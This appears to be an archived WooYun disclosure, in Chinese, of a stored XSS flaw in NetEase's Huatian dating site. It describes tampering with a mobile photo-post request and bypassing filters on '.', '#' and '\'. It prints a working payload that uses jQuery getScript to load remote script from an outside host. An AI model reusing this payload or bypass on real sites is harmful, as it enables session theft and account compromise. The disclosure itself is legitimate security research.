当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077296

漏洞标题:网易花田存储型XSS

相关厂商:网易

漏洞作者: 0x_Jin

提交时间:2014-09-25 16:05

修复时间:2014-11-09 16:06

公开时间:2014-11-09 16:06

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-25: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-09: 细节向公众公开

简要描述:

xxxxxxxxx 说:如果按照我给国内几大门户排行:网易>tx>xl>sh 正挖着,结果 zone里就说要跟花田的妹纸开专场了,然后我就屁颠屁颠的挖洞来提交了!既然要开发妹纸专场了,给我们 Parsec 每个人发个妹纸可好?

详细说明:

题外话:真心折磨人,在 pc 端的网页真的是太。。。能输入的地方都输入了最后还是给过滤掉了,不过为 xxxxxxxxx 定为的第一位。
在手机app 端,也是这样。
但是。。。。在手机跟pc 网页端结合就出现了问题!
登录后访问即可触发
http://love.163.com/2772876
问题出在手机 APP 的上传照片那,首先选择随便一张照片然后上传,抓包!
看图:

QQ20140925-1.png


上传照片的包我就没截,上传完之后会再发一个 post ,这个 post 里带有照片上传后的 url 跟要发动态的内容以及 cookie。
photos值就是照片的 url,问题就出现在这里,在 pc 端是无法闭合 img 的 src 属性的,在手机里也是会在 双引号前加个反斜杠来转义,花田的大部分转义都是这样做的。(在这个上面花费了很长的时间,电脑端花了一个半小时,手机花了一个小时。都在尝试去找更多的输入点来测试是否能绕过过滤什么的)
在 PC 端传照片在图片路径中闭合标签是会过滤的。
用手机传照片图片路径是出script context 里面的然后用双引号闭合的时候是会被反斜杠转义的!
但是我发现在手机发表一个带有照片的动态,然后来改包带有 xss payload,然后在 pc 端上看,是会出现问题的!什么问题呢?输入点在 html 标签外,但是手机端又没对<>这些字符做过滤,就造成了自己可以写入标签。
看图:

QQ20140925-3.png


可以看到我们的标签成功插入,然后我们来讲下他的过滤规则 以及我是如何绕过的!
过滤规则 过滤 . # \ 插入一个</script> 会成这样 <\/script> 输入长度有限制
来说下我是如何绕过的:
. 呢 是域名组成所必须的,
#呢 html 编码所必须的
\ 呢 js 编码所必须的
直接用</script>呢 又不能闭合 如果用单个 script 然后设置异步 也局限于某些浏览器,我想通杀,你懂的!
于是我构造了这样一个 payload:
<img src=x onerror=jQuery['getScript']('//20。rs')>
用 jquer 加载 js 显然是最短最有效的方法了!
然而一般 getScript 的用法是 jQuery.getScript ,换个用法 ['getScript']就好了 这样就绕过了第一个 .的限制。
然后就是加载 js,地址无论是填ipv4的地址还是域名都需要 . (ipv6太长了)
然后我便用句号。 句号是可以替代小数点的,就跟之前 parsec 的那个域名编码的文章中所讲的一样!
这样两个点就都绕过去了!(之前我还想着用 html 编码跟 js 编码来编码那两个点的 后来发现过滤了#跟\)
既然加载 js 成功了 那我们就来看看效果吧!

QQ20140925-4.png


QQ20140925-5.png


源代码:

QQ20140925-6.png


漏洞证明:

题外话:真心折磨人,在 pc 端的网页真的是太。。。能输入的地方都输入了最后还是给过滤掉了,不过为 xxxxxxxxx 定为的第一位。
在手机app 端,也是这样。
但是。。。。在手机跟pc 网页端结合就出现了问题!
问题出在手机 APP 的上传照片那,首先选择随便一张照片然后上传,抓包!
看图:

QQ20140925-1.png


上传照片的包我就没截,上传完之后会再发一个 post ,这个 post 里带有照片上传后的 url 跟要发动态的内容以及 cookie。
photos值就是照片的 url,问题就出现在这里,在 pc 端是无法闭合 img 的 src 属性的,在手机里也是会在 双引号前加个反斜杠来转义,花田的大部分转义都是这样做的。(在这个上面花费了很长的时间,电脑端花了一个半小时,手机花了一个小时。都在尝试去找更多的输入点来测试是否能绕过过滤什么的)
在 PC 端传照片在图片路径中闭合标签是会过滤的。
用手机传照片图片路径是出script context 里面的然后用双引号闭合的时候是会被反斜杠转义的!
但是我发现在手机发表一个带有照片的动态,然后来改包带有 xss payload,然后在 pc 端上看,是会出现问题的!什么问题呢?输入点在 html 标签外,但是手机端又没对<>这些字符做过滤,就造成了自己可以写入标签。
看图:

QQ20140925-3.png


可以看到我们的标签成功插入,然后我们来讲下他的过滤规则 以及我是如何绕过的!
过滤规则 过滤 . # \ 插入一个</script> 会成这样 <\/script> 输入长度有限制
来说下我是如何绕过的:
. 呢 是域名组成所必须的,
#呢 html 编码所必须的
\ 呢 js 编码所必须的
直接用</script>呢 又不能闭合 如果用单个 script 然后设置异步 也局限于某些浏览器,我想通杀,你懂的!
于是我构造了这样一个 payload:
<img src=x onerror=jQuery['getScript']('//20。rs')>
用 jquer 加载 js 显然是最短最有效的方法了!
然而一般 getScript 的用法是 jQuery.getScript ,换个用法 ['getScript']就好了 这样就绕过了第一个 .的限制。
然后就是加载 js,地址无论是填ipv4的地址还是域名都需要 . (ipv6太长了)
然后我便用句号。 句号是可以替代小数点的,就跟之前 parsec 的那个域名编码的文章中所讲的一样!
这样两个点就都绕过去了!(之前我还想着用 html 编码跟 js 编码来编码那两个点的 后来发现过滤了#跟\)
既然加载 js 成功了 那我们就来看看效果吧!

QQ20140925-4.png


QQ20140925-5.png


源代码:

QQ20140925-6.png


修复方案:

你们好歹也是 xxxxxxxxx 排名的第一位,你们肯定比我专业,既然要开专场了,送个妹纸给我可好?

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-26 11:43

厂商回复:

感谢您对网易的关注。

最新状态:

暂无